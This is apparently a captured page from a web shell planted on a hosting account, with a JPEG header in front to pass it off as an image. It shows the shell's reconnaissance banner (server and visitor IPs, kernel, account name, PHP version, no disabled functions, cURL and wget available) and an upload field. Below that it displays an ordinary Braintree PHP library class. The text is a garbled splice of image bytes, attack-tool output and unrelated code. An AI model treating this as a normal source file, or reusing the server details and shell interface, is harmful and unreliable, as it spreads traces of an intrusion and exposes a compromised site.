����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 13.59.198.133 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./bofirmacademy.com/vendor/braintree/braintree_php/lib/Braintree/Result/ |
Upload File : |
<?php namespace Braintree\Result; use Braintree\Base; use Braintree\Transaction; use Braintree\Subscription; use Braintree\MerchantAccount; use Braintree\Util; use Braintree\Error\ErrorCollection; /** * Braintree Error Result * * An Error Result will be returned from gateway methods when * the gateway responds with an error. It will provide access * to the original request. * For example, when voiding a transaction, Error Result will * respond to the void request if it failed: * * <code> * $result = Transaction::void('abc123'); * if ($result->success) { * // Successful Result * } else { * // Result\Error * } * </code> * * @package Braintree * @subpackage Result * * @property-read array $params original passed params * @property-read \Braintree\Error\ErrorCollection $errors * @property-read \Braintree\Result\CreditCardVerification $creditCardVerification credit card verification data */ class Error extends Base { /** * @var bool always false */ public $success = false; /** * return original value for a field * For example, if a user tried to submit 'invalid-email' in the html field transaction[customer][email], * $result->valueForHtmlField("transaction[customer][email]") would yield "invalid-email" * * @param string $field * @return string */ public function valueForHtmlField($field) { $pieces = preg_split("/[\[\]]+/", $field, 0, PREG_SPLIT_NO_EMPTY); $params = $this->params; foreach(array_slice($pieces, 0, -1) as $key) { $params = $params[Util::delimiterToCamelCase($key)]; } if ($key != 'custom_fields') { $finalKey = Util::delimiterToCamelCase(end($pieces)); } else { $finalKey = end($pieces); } $fieldValue = isset($params[$finalKey]) ? $params[$finalKey] : null; return $fieldValue; } /** * overrides default constructor * @ignore * @param array $response gateway response array */ public function __construct($response) { $this->_attributes = $response; $this->_set('errors', new ErrorCollection($response['errors'])); if(isset($response['verification'])) { $this->_set('creditCardVerification', new CreditCardVerification($response['verification'])); } else { $this->_set('creditCardVerification', null); } if(isset($response['transaction'])) { $this->_set('transaction', Transaction::factory($response['transaction'])); } else { $this->_set('transaction', null); } if(isset($response['subscription'])) { $this->_set('subscription', Subscription::factory($response['subscription'])); } else { $this->_set('subscription', null); } if(isset($response['merchantAccount'])) { $this->_set('merchantAccount', MerchantAccount::factory($response['merchantAccount'])); } else { $this->_set('merchantAccount', null); } if(isset($response['verification'])) { $this->_set('verification', new CreditCardVerification($response['verification'])); } else { $this->_set('verification', null); } } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @ignore * @return string */ public function __toString() { $output = Util::attributesToString($this->_attributes); if (isset($this->_creditCardVerification)) { $output .= sprintf('%s', $this->_creditCardVerification); } return __CLASS__ .'[' . $output . ']'; } }